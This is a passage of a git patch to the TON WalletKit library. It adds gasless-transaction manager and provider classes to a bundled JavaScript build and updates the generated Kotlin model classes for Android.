log$20.info("Jetton cache cleared for all networks"); } } }; @@ -33661,7 +33748,7 @@ var init_SwapProvider = __esmMin((() => { //#endregion //#region ../walletkit/dist/esm/defi/errors.js var DefiErrorCode, DefiError; -var init_errors$2 = __esmMin((() => { +var init_errors$3 = __esmMin((() => { (function(DefiErrorCode) { DefiErrorCode["ProviderNotFound"] = "PROVIDER_NOT_FOUND"; DefiErrorCode["NoDefaultProvider"] = "NO_DEFAULT_PROVIDER"; @@ -33684,8 +33771,8 @@ var init_errors$2 = __esmMin((() => { //#endregion //#region ../walletkit/dist/esm/defi/swap/errors.js var SwapErrorCode, SwapError; -var init_errors$1 = __esmMin((() => { - init_errors$2(); +var init_errors$2 = __esmMin((() => { + init_errors$3(); (function(SwapErrorCode) { SwapErrorCode["InvalidQuote"] = "INVALID_QUOTE"; SwapErrorCode["InsufficientLiquidity"] = "INSUFFICIENT_LIQUIDITY"; @@ -33707,7 +33794,7 @@ var init_errors$1 = __esmMin((() => { var DefiManager; var init_DefiManager = __esmMin((() => { init_types$2(); - init_errors$2(); + init_errors$3(); DefiManager = class { createFactoryContext; providers = []; @@ -33805,12 +33892,12 @@ var init_DefiManager = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/defi/swap/SwapManager.js -var log$18, SwapManager; +var log$19, SwapManager; var init_SwapManager = __esmMin((() => { - init_errors$1(); + init_errors$2(); init_Logger(); init_DefiManager(); - log$18 = globalLogger.createChild("SwapManager"); + log$19 = globalLogger.createChild("SwapManager"); SwapManager = class extends DefiManager { constructor(createFactoryContext) { super(createFactoryContext); @@ -33822,7 +33909,7 @@ var init_SwapManager = __esmMin((() => { * @returns Promise resolving to swap quote */ async getQuote(params, providerId) { - log$18.debug("Getting swap quote", { + log$19.debug("Getting swap quote", { fromToken: params.from, toToken: params.to, amount: params.amount, @@ -33831,14 +33918,14 @@ var init_SwapManager = __esmMin((() => { }); try { const quote = await this.getProvider(providerId || this.defaultProviderId).getQuote(params); - log$18.debug("Received swap quote", { + log$19.debug("Received swap quote", { fromAmount: quote.fromAmount, toAmount: quote.toAmount, priceImpact: quote.priceImpact }); return quote; } catch (error) { - log$18.error("Failed to get swap quote", { + log$19.error("Failed to get swap quote", { error, params }); @@ -33852,16 +33939,16 @@ var init_SwapManager = __esmMin((() => { */ async buildSwapTransaction(params) { const providerId = params.quote.providerId || this.defaultProviderId; - log$18.debug("Building swap transaction", { + log$19.debug("Building swap transaction", { providerId, userAddress: params.userAddress }); try { const transaction = await this.getProvider(providerId).buildSwapTransaction(params); - log$18.debug("Built swap transaction", params.quote); + log$19.debug("Built swap transaction", params.quote); return transaction; } catch (error) { - log$18.error("Failed to build swap transaction", { + log$19.error("Failed to build swap transaction", { error, params }); @@ -33878,7 +33965,7 @@ var init_SwapManager = __esmMin((() => { var init_swap = __esmMin((() => { init_SwapProvider(); init_SwapManager(); - init_errors$1(); + init_errors$2(); })); //#endregion //#region ../walletkit/dist/esm/defi/staking/StakingProvider.js @@ -33895,8 +33982,8 @@ var init_StakingProvider = __esmMin((() => { //#endregion //#region ../walletkit/dist/esm/defi/staking/errors.js var StakingErrorCode, StakingError; -var init_errors = __esmMin((() => { - init_errors$2(); +var init_errors$1 = __esmMin((() => { + init_errors$3(); (function(StakingErrorCode) { StakingErrorCode["InvalidParams"] = "INVALID_PARAMS"; StakingErrorCode["UnsupportedOperation"] = "UNSUPPORTED_OPERATION"; @@ -33912,12 +33999,12 @@ var init_errors = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/defi/staking/StakingManager.js -var log$17, StakingManager; +var log$18, StakingManager; var init_StakingManager = __esmMin((() => { - init_errors(); + init_errors$1(); init_Logger(); init_DefiManager(); - log$17 = globalLogger.createChild("StakingManager"); + log$18 = globalLogger.createChild("StakingManager"); StakingManager = class extends DefiManager { constructor(createFactoryContext) { super(createFactoryContext); @@ -33928,13 +34015,13 @@ var init_StakingManager = __esmMin((() => { * @param providerId - Optional provider id to use */ async getQuote(params, providerId) { - log$17.debug("Getting staking quote", params); + log$18.debug("Getting staking quote", params); try { const quote = await this.getProvider(providerId).getQuote(params); - log$17.debug("Received staking quote", quote); + log$18.debug("Received staking quote", quote); return quote; } catch (error) { - log$17.error("Failed to get staking quote", { + log$18.error("Failed to get staking quote", { error, params }); @@ -33947,11 +34034,11 @@ var init_StakingManager = __esmMin((() => { * @param providerId - Optional provider id to use */ async buildStakeTransaction(params, providerId) { - log$17.debug("Building staking transaction", params); + log$18.debug("Building staking transaction", params); try { return await this.getProvider(providerId).buildStakeTransaction(params); } catch (error) { - log$17.error("Failed to build staking transaction", { + log$18.error("Failed to build staking transaction", { error, params }); @@ -33965,7 +34052,7 @@ var init_StakingManager = __esmMin((() => { * @param providerId - Optional provider id to use */ async getStakedBalance(userAddress, network, providerId) { - log$17.debug("Getting staking balance", { + log$18.debug("Getting staking balance", { userAddress, network, provider: providerId || this.defaultProviderId @@ -33973,7 +34060,7 @@ var init_StakingManager = __esmMin((() => { try { return await this.getProvider(providerId).getStakedBalance(userAddress, network); } catch (error) { - log$17.error("Failed to get staking balance", { + log$18.error("Failed to get staking balance", { error, userAddress, network @@ -33987,14 +34074,14 @@ var init_StakingManager = __esmMin((() => { * @param providerId - Optional provider id to use */ async getStakingProviderInfo(network, providerId) { - log$17.debug("Getting staking info", { + log$18.debug("Getting staking info", { network, provider: providerId || this.defaultProviderId }); try { return await this.getProvider(providerId).getStakingProviderInfo(network); } catch (error) { - log$17.error("Failed to get staking info", { + log$18.error("Failed to get staking info", { error, network }); @@ -34007,14 +34094,14 @@ var init_StakingManager = __esmMin((() => { * @param providerId - Optional provider id to use */ getStakingProviderMetadata(network, providerId) { - log$17.debug("Getting staking metadata", { + log$18.debug("Getting staking metadata", { network, provider: providerId || this.defaultProviderId }); try { return this.getProvider(providerId).getStakingProviderMetadata(network); } catch (error) { - log$17.error("Failed to get staking metadata", { + log$18.error("Failed to get staking metadata", { error, network }); @@ -34023,7 +34110,7 @@ var init_StakingManager = __esmMin((() => { } createError(message, code, details) { const errorCode = Object.values(StakingErrorCode).includes(code) ? code : StakingErrorCode.InvalidParams; - log$17.error(message, { + log$18.error(message, { code, details }); @@ -34036,6 +34123,132 @@ var init_StakingManager = __esmMin((() => { var init_staking = __esmMin((() => { init_StakingProvider(); init_StakingManager(); + init_errors$1(); +})); +//#endregion +//#region ../walletkit/dist/esm/defi/gasless/GaslessProvider.js +var GaslessProvider; +var init_GaslessProvider = __esmMin((() => { + GaslessProvider = class { + type = "gasless"; + }; +})); +//#endregion +//#region ../walletkit/dist/esm/defi/gasless/errors.js +var GaslessErrorCode, GaslessError; +var init_errors = __esmMin((() => { + init_errors$3(); + (function(GaslessErrorCode) { + GaslessErrorCode["UnsupportedFeeAsset"] = "UNSUPPORTED_FEE_ASSET"; + GaslessErrorCode["UnsupportedOperation"] = "UNSUPPORTED_OPERATION"; + GaslessErrorCode["QuoteFailed"] = "QUOTE_FAILED"; + GaslessErrorCode["SendFailed"] = "SEND_FAILED"; + GaslessErrorCode["ConfigFailed"] = "CONFIG_FAILED"; + GaslessErrorCode["SignMessageNotSupported"] = "SIGN_MESSAGE_NOT_SUPPORTED"; + GaslessErrorCode["TooManyMessages"] = "TOO_MANY_MESSAGES"; + GaslessErrorCode["QuoteExpired"] = "QUOTE_EXPIRED"; + GaslessErrorCode["WalletMismatch"] = "WALLET_MISMATCH"; + GaslessErrorCode["FeeAssetNotOwned"] = "FEE_ASSET_NOT_OWNED"; + })(GaslessErrorCode || (GaslessErrorCode = {})); + GaslessError = class extends DefiError { + code; + constructor(message, code, details) { + super(message, code, details); + this.name = "GaslessError"; + this.code = code; + } + }; +})); +//#endregion +//#region ../walletkit/dist/esm/defi/gasless/GaslessManager.js +var log$17, GaslessManager; +var init_GaslessManager = __esmMin((() => { + init_Logger(); + init_DefiManager(); + init_errors(); + log$17 = globalLogger.createChild("GaslessManager"); + GaslessManager = class extends DefiManager { + constructor(createFactoryContext) { + super(createFactoryContext); + } + /** + * Get static metadata for a gasless provider (display name, logo, url). + */ + async getMetadata(providerId) { + const selectedProviderId = providerId ?? this.defaultProviderId; + log$17.debug("Getting gasless provider metadata", { providerId: selectedProviderId }); + try { + return await this.getProvider(selectedProviderId).getMetadata(); + } catch (error) { + log$17.error("Failed to get gasless provider metadata", { error }); + throw error; + } + } + /** + * Fetch the relayer's configuration (relay address + accepted fee assets). + * + * `network` defaults to the provider's first supported network. + */ + async getConfig(network, providerId) { + const provider = this.getProvider(providerId ?? this.defaultProviderId); + const targetNetwork = network ?? provider.getSupportedNetworks()[0]; + log$17.debug("Getting gasless config", { + network: targetNetwork?.chainId, + providerId: providerId ?? this.defaultProviderId + }); + try { + return await provider.getConfig(targetNetwork); + } catch (error) { + log$17.error("Failed to get gasless config", { error }); + throw error; + } + } + /** + * Quote fees and obtain relayer-wrapped messages for signing. + */ + async getQuote(params, providerId) { + log$17.debug("Quoting gasless transaction", { + network: params.network.chainId, + walletAddress: params.walletAddress, + feeAsset: params.feeAsset, + messagesCount: params.messages.length, + providerId: providerId ?? this.defaultProviderId + }); + try { + return await this.getProvider(providerId ?? this.defaultProviderId).getQuote(params); + } catch (error) { + log$17.error("Failed to quote gasless transaction", { + error, + params + }); + throw error; + } + } + /** + * Submit a signed transaction BoC to the relayer. + */ + async sendTransaction(params, providerId) { + log$17.debug("Sending gasless transaction", { + network: params.network.chainId, + providerId: providerId ?? this.defaultProviderId + }); + try { + return await this.getProvider(providerId ?? this.defaultProviderId).sendTransaction(params); + } catch (error) { + log$17.error("Failed to send gasless transaction", { error }); + throw error; + } + } + createError(message, code, details) { + return new GaslessError(message, code, details); + } + }; +})); +//#endregion +//#region ../walletkit/dist/esm/defi/gasless/index.js +var init_gasless = __esmMin((() => { + init_GaslessProvider(); + init_GaslessManager(); init_errors(); })); //#endregion @@ -35661,7 +35874,7 @@ var log$12, KitNetworkManager; var init_NetworkManager = __esmMin((() => { init_toncenter$1(); init_Logger(); - init_errors$3(); + init_errors$4(); init_models(); log$12 = globalLogger.createChild("NetworkManager"); KitNetworkManager = class { @@ -35803,12 +36016,13 @@ var init_TonWalletKit = __esmMin((() => { init_ConnectHandler(); init_swap(); init_staking(); + init_gasless(); init_internal(); init_EventEmitter(); init_StreamingManager(); init_analytics(); init_getDefaultWalletConfig(); - init_errors$3(); + init_errors$4(); init_retry(); init_NetworkManager(); init_utils$2(); @@ -35824,6 +36038,7 @@ var init_TonWalletKit = __esmMin((() => { swapManager; streamingManager; stakingManager; + gaslessManager; initializer; eventProcessor; bridgeManager; @@ -35850,6 +36065,7 @@ var init_TonWalletKit = __esmMin((() => { this.jettonsManager = new JettonsManager(1e4, this.eventEmitter, this.networkManager); this.swapManager = new SwapManager(() => this.createFactoryContext()); this.stakingManager = new StakingManager(() => this.createFactoryContext()); + this.gaslessManager = new GaslessManager(() => this.createFactoryContext()); this.eventEmitter.on("restoreConnection", async ({ payload: event }) => { if (!event.domain) { log$10.error("Domain is required for restore connection"); @@ -36322,6 +36538,27 @@ var init_TonWalletKit = __esmMin((() => { this.isInitialized = false; } /** + * Add a provider + */ + registerProvider(input) { + const provider = typeof input === "function" ? input(this.createFactoryContext()) : input; + switch (provider.type) { + case "swap": + this.swapManager.registerProvider(provider); + break; + case "staking": + this.stakingManager.registerProvider(provider); + break; + case "streaming": + this.streamingManager.registerProvider(provider); + break; + case "gasless": + this.gaslessManager.registerProvider(provider); + break; + default: throw new Error("Unknown provider type"); + } + } + /** * Jettons API access */ get jettons() { @@ -36352,6 +36589,12 @@ var init_TonWalletKit = __esmMin((() => { return this.stakingManager; } /** + * Gasless API access + */ + get gasless() { + return this.gaslessManager; + } + /** * Get the event emitter for this kit instance * Allows external components to listen to and emit events */ @@ -37570,7 +37813,7 @@ var init_WalletV5R1Adapter = __esmMin((() => { init_WalletV5R1(); init_WalletV5R1_source(); init_Logger(); - init_errors$3(); + init_errors$4(); init_sign$1(); init_address$1(); init_retry(); @@ -39064,6 +39307,10 @@ var esm_exports = /* @__PURE__ */ __exportAll({ EventStoreError: () => EventStoreError, ExtensionStorageAdapter: () => ExtensionStorageAdapter, FakeSignature: () => FakeSignature, + GaslessError: () => GaslessError, + GaslessErrorCode: () => GaslessErrorCode, + GaslessManager: () => GaslessManager, + GaslessProvider: () => GaslessProvider, HexToBase64: () => HexToBase64, HexToBigInt: () => HexToBigInt, HexToUint8Array: () => HexToUint8Array, @@ -39122,6 +39369,8 @@ var esm_exports = /* @__PURE__ */ __exportAll({ WalletV5R1CodeBoc: () => WalletV5R1CodeBoc, WalletV5R1CodeCell: () => WalletV5R1CodeCell, WalletV5R1Id: () => WalletV5R1Id, + asAddressFriendly: () => asAddressFriendly, + asBase64: () => asBase64, asHex: () => asHex, compareAddress: () => compareAddress, createCommentPayload: () => createCommentPayload, @@ -39151,6 +39400,7 @@ var esm_exports = /* @__PURE__ */ __exportAll({ getNftsFromClient: () => getNftsFromClient, getNormalizedExtMessageHash: () => getNormalizedExtMessageHash, getTransactionStatus: () => getTransactionStatus, + hasSignMessageSupport: () => hasSignMessageSupport, isValidAddress: () => isValidAddress, packActionsList: () => packActionsList, parseUnits: () => parseUnits, @@ -39167,7 +39417,7 @@ var init_esm = __esmMin((() => { init_esm$2(); init_TonWalletKit(); init_types$2(); - init_errors$3(); + init_errors$4(); init_WalletManager(); init_TONConnectStoredSessionManager(); init_BridgeManager(); @@ -39175,9 +39425,10 @@ var init_esm = __esmMin((() => { init_RequestProcessor(); init_Initializer(); init_JettonsManager(); - init_errors$2(); + init_errors$3(); init_swap(); init_staking(); + init_gasless(); init_EventEmitter(); init_toncenter$1(); init_tonapi$1(); @@ -39209,6 +39460,7 @@ var init_esm = __esmMin((() => { init_withTimeout(); init_validation(); init_getDefaultWalletConfig(); + init_features(); init_Signer(); init_tvmStack(); init_messageTypes(); @@ -40520,7 +40772,7 @@ var StakingCache = class { init_models(); init_Logger(); init_StakingProvider(); -init_errors(); +init_errors$1(); init_ApiClientTonApi(); init_units(); var log$2 = globalLogger.createChild("TonStakersStakingProvider"); @@ -44912,7 +45164,7 @@ var isOmnistonQuoteMetadata = (metadata) => { */ init_SwapProvider(); init_models(); -init_errors$1(); +init_errors$2(); init_Logger(); init_utils$2(); init_units(); @@ -45178,7 +45430,7 @@ var isDeDustQuoteMetadata = (metadata) => { */ init_SwapProvider(); init_models(); -init_errors$1(); +init_errors$2(); init_Logger(); init_utils$2(); init_units(); From b93bc8af6687e1934f72712c1b77768959bb27f6 Mon Sep 17 00:00:00 2001 From: Dmitrii Nikulin Date: Tue, 16 Jun 2026 11:24:44 +0300 Subject: [PATCH 09/10] chore: update models --- .../api/generated/TONConnectionApprovalProof.kt | 3 +-- .../api/generated/TONConnectionRequestEvent.kt | 2 +- .../api/generated/TONEmulationMessageContent.kt | 2 +- .../walletkit/api/generated/TONGaslessConfig.kt | 4 ++-- .../api/generated/TONGaslessProviderMetadata.kt | 6 +++--- .../TONGaslessProviderMetadataOverride.kt | 6 +++--- .../ton/walletkit/api/generated/TONGaslessQuote.kt | 10 +++++----- .../api/generated/TONGaslessQuoteParams.kt | 10 +++++----- .../api/generated/TONGaslessSendParams.kt | 6 +++--- .../api/generated/TONGaslessSendResponse.kt | 8 ++++---- .../api/generated/TONGaslessSupportedAsset.kt | 2 +- .../api/generated/TONJettonTransferItem.kt | 5 ++--- .../api/generated/TONJettonsTransferRequest.kt | 2 +- .../generated/TONNFTRawTransferRequestMessage.kt | 5 ++--- .../walletkit/api/generated/TONNftTransferItem.kt | 5 ++--- .../ton/walletkit/api/generated/TONProofMessage.kt | 2 +- .../TONSendTransactionApprovalResponse.kt | 3 +-- .../api/generated/TONSendTransactionResponse.kt | 4 ++-- .../walletkit/api/generated/TONSignDataBinary.kt | 3 +-- .../ton/walletkit/api/generated/TONSignDataCell.kt | 3 +-- .../api/generated/TONSignDataPreviewBinary.kt | 3 +-- .../api/generated/TONSignDataPreviewCell.kt | 2 +- .../generated/TONSignMessageApprovalResponse.kt | 3 +-- .../ton/walletkit/api/generated/TONSwapParams.kt | 4 ++-- .../walletkit/api/generated/TONSwapQuoteParams.kt | 4 ++-- .../api/generated/TONTonApiGaslessChainConfig.kt | 4 ++-- .../generated/TONTonApiGaslessProviderConfig.kt | 14 +++++++------- .../walletkit/api/generated/TONTonTransferItem.kt | 5 ++--- .../api/generated/TONTransactionMessageContent.kt | 2 +- .../api/generated/TONTransactionRequestMessage.kt | 5 ++--- .../walletkit/api/generated/TONTransferRequest.kt | 5 ++--- 31 files changed, 65 insertions(+), 77 deletions(-) diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt index 265a4c05..932e0772 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionApprovalProof.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -44,7 +43,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONConnectionApprovalProof( - @Contextual @SerialName(value = "signature") + @SerialName(value = "signature") var signature: io.ton.walletkit.model.TONBase64, @SerialName(value = "timestamp") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt index bcc5d440..e9d15451 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONConnectionRequestEvent.kt @@ -67,7 +67,7 @@ data class TONConnectionRequestEvent( var preview: TONConnectionRequestEventPreview, @SerialName(value = "from") - val from: kotlin.String? = null, + var from: kotlin.String? = null, @SerialName(value = "walletAddress") var walletAddress: io.ton.walletkit.model.TONUserFriendlyAddress? = null, diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt index 4224ef63..637478d4 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONEmulationMessageContent.kt @@ -46,7 +46,7 @@ data class TONEmulationMessageContent( @Contextual @SerialName(value = "hash") var hash: io.ton.walletkit.model.TONHex? = null, - @Contextual @SerialName(value = "body") + @SerialName(value = "body") var body: io.ton.walletkit.model.TONBase64? = null, /* Structured decoded representation of the message body, if available */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt index 2fd03de5..f4c354f5 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessConfig.kt @@ -42,11 +42,11 @@ import kotlinx.serialization.Serializable data class TONGaslessConfig( @SerialName(value = "relayAddress") - val relayAddress: io.ton.walletkit.model.TONUserFriendlyAddress, + var relayAddress: io.ton.walletkit.model.TONUserFriendlyAddress, /* Assets the relayer accepts as fee payment. */ @SerialName(value = "supportedAssets") - val supportedAssets: kotlin.collections.List, + var supportedAssets: kotlin.collections.List, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt index 0977f84f..5d74180c 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadata.kt @@ -42,13 +42,13 @@ import kotlinx.serialization.Serializable data class TONGaslessProviderMetadata( @SerialName(value = "name") - val name: kotlin.String, + var name: kotlin.String, @SerialName(value = "logo") - val logo: kotlin.String? = null, + var logo: kotlin.String? = null, @SerialName(value = "url") - val url: kotlin.String? = null, + var url: kotlin.String? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt index e429a3ed..6d4f3c14 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessProviderMetadataOverride.kt @@ -42,13 +42,13 @@ import kotlinx.serialization.Serializable data class TONGaslessProviderMetadataOverride( @SerialName(value = "name") - val name: kotlin.String? = null, + var name: kotlin.String? = null, @SerialName(value = "logo") - val logo: kotlin.String? = null, + var logo: kotlin.String? = null, @SerialName(value = "url") - val url: kotlin.String? = null, + var url: kotlin.String? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt index 3b8f6a0d..35560a69 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt @@ -45,21 +45,21 @@ import kotlinx.serialization.Serializable data class TONGaslessQuote( @SerialName(value = "network") - val network: TONNetwork, + var network: TONNetwork, /* Relayer-wrapped messages ready to be signed */ @SerialName(value = "messages") - val messages: kotlin.collections.List, + var messages: kotlin.collections.List, @SerialName(value = "fee") - val fee: kotlin.String, + var fee: kotlin.String, /* Unix timestamp after which the bundle becomes invalid for relay */ @SerialName(value = "validUntil") - val validUntil: kotlin.Double, + var validUntil: kotlin.Double, @SerialName(value = "from") - val from: io.ton.walletkit.model.TONUserFriendlyAddress, + var from: io.ton.walletkit.model.TONUserFriendlyAddress, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt index 9e11e049..f24123e3 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt @@ -46,20 +46,20 @@ import kotlinx.serialization.Serializable data class TONGaslessQuoteParams( @SerialName(value = "network") - val network: TONNetwork, + var network: TONNetwork, @SerialName(value = "walletAddress") - val walletAddress: io.ton.walletkit.model.TONUserFriendlyAddress, + var walletAddress: io.ton.walletkit.model.TONUserFriendlyAddress, @Contextual @SerialName(value = "walletPublicKey") - val walletPublicKey: io.ton.walletkit.model.TONHex, + var walletPublicKey: io.ton.walletkit.model.TONHex, /* Messages that the caller wants to include in the transaction */ @SerialName(value = "messages") - val messages: kotlin.collections.List, + var messages: kotlin.collections.List, @SerialName(value = "feeAsset") - val feeAsset: io.ton.walletkit.model.TONUserFriendlyAddress? = null, + var feeAsset: io.ton.walletkit.model.TONUserFriendlyAddress? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt index f41f8023..754dd83c 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt @@ -44,13 +44,13 @@ import kotlinx.serialization.Serializable data class TONGaslessSendParams( @SerialName(value = "network") - val network: TONNetwork, + var network: TONNetwork, @Contextual @SerialName(value = "walletPublicKey") - val walletPublicKey: io.ton.walletkit.model.TONHex, + var walletPublicKey: io.ton.walletkit.model.TONHex, @SerialName(value = "internalBoc") - val internalBoc: io.ton.walletkit.model.TONBase64, + var internalBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt index 8770ef42..a2535082 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt @@ -45,16 +45,16 @@ import kotlinx.serialization.Serializable data class TONGaslessSendResponse( @SerialName(value = "boc") - val boc: io.ton.walletkit.model.TONBase64, + var boc: io.ton.walletkit.model.TONBase64, @SerialName(value = "normalizedBoc") - val normalizedBoc: io.ton.walletkit.model.TONBase64, + var normalizedBoc: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "normalizedHash") - val normalizedHash: io.ton.walletkit.model.TONHex, + var normalizedHash: io.ton.walletkit.model.TONHex, @SerialName(value = "internalBoc") - val internalBoc: io.ton.walletkit.model.TONBase64, + var internalBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt index be5e93ce..120db4c2 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt @@ -41,7 +41,7 @@ import kotlinx.serialization.Serializable data class TONGaslessSupportedAsset( @SerialName(value = "address") - val address: io.ton.walletkit.model.TONUserFriendlyAddress, + var address: io.ton.walletkit.model.TONUserFriendlyAddress, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt index e9b2e427..9d3d9611 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -67,13 +66,13 @@ data class TONJettonTransferItem( @SerialName(value = "responseDestination") var responseDestination: kotlin.String? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") var customPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName(value = "forwardAmount") var forwardAmount: kotlin.String? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") var forwardPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName("type") val type: kotlin.String = "jetton", diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt index eb685c0a..1be0d29c 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt @@ -54,7 +54,7 @@ data class TONJettonsTransferRequest( var recipientAddress: io.ton.walletkit.model.TONUserFriendlyAddress, @SerialName(value = "responseDestination") - val responseDestination: io.ton.walletkit.model.TONUserFriendlyAddress? = null, + var responseDestination: io.ton.walletkit.model.TONUserFriendlyAddress? = null, /* Human-readable comment attached to the transfer */ @SerialName(value = "comment") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt index 12f81c5f..4e516913 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt @@ -30,7 +30,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 import io.ton.walletkit.model.TONUserFriendlyAddress -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -59,10 +58,10 @@ data class TONNFTRawTransferRequestMessage( @SerialName(value = "responseDestination") var responseDestination: io.ton.walletkit.model.TONUserFriendlyAddress? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") var customPayload: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") var forwardPayload: io.ton.walletkit.model.TONBase64? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt index 54e4d021..420a3e9c 100644 --- 